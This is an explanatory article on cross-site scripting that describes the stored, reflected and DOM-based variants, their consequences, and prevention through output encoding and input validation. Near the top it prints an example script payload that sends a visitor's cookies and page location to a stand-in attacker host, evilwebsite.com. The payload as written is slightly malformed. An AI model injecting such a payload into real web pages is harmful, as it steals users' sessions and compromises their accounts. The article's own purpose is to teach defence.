Cross Site Scripting (XSS)

Here’s an example:

<script> i=new/**/Image();isrc=http://evilwebsite.com/log.php?'+document.cookie+' '+document.location</script>

While the payload is usually JavaScript, XSS can take place using any client-side language.

To carry out a cross site scripting attack, an attacker injects a malicious script into user-provided input. Attackers can also carry out an attack by modifying a request. If the web app is vulnerable to XSS attacks, the user-supplied input executes as code. For example, in the request below, the script displays a message box with the text “xss.”

http://www.site.com/page.php?var=<script>alert('xss');</script>

There are many ways to trigger an XSS attack. For example, the execution could be triggered automatically when the page loads or when a user hovers over specific elements of the page (e.g., hyperlinks).

Potential consequences of cross site scripting attacks include these:

• Capturing the keystrokes of a user.
• Redirecting a user to a malicious website.
• Running web browser-based exploits (e.g., crashing the browser).
• Obtaining the cookie information of a user who is logged into a website (thus compromising the victim’s account).

In some cases, the XSS attack leads to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker.

Stored XSS. Takes place when the malicious payload is stored in a database. It renders to other users when data is requested—if there is no output encoding or sanitization.

Reflected XSS. Occurs when a web application sends attacker-provided strings to a victim’s browser so that the browser executes part of the string as code. The payload echoes back in response since it doesn’t have any server-side output encoding.

DOM-based XSS. Takes place when an attacker injects a script into a response. The attacker can read and manipulate the document object model (DOM) data to craft a malicious URL. The attacker uses this URL to trick a user into clicking it. If the user clicks the link, the attacker can steal the user’s active session information, keystrokes, and so on. Unlike stored XSS and reflected XSS, the entire DOM-based XSS attack happens on the client browser (i.e., nothing goes back to the server).

It’s important to implement security measures early in the application’s development life cycle. For example, carry out software design phase security activities such as architecture risk analysis and threat modeling. It is equally important to conduct security testing once application development is complete.

Strategies to prevent XSS attacks include these:

• Never trust user input.
• Implement output encoding.
• Perform user input validation.
• Follow the defense in depth principle.
• Ensure that web application development aligns with OWASP’s XSS Prevention Cheat Sheet.
• After remediation, perform penetration testing to confirm it was successful.

Protect your organization by following secure development guidelines—building security in at all phases of the application’s development. Output encoding is also key to preventing XSS vulnerabilities. Make use of output encoding libraries that are relevant to the programming languages and frameworks your organization uses. Also, ensure your developers stay up-to-date with XSS prevention best practices.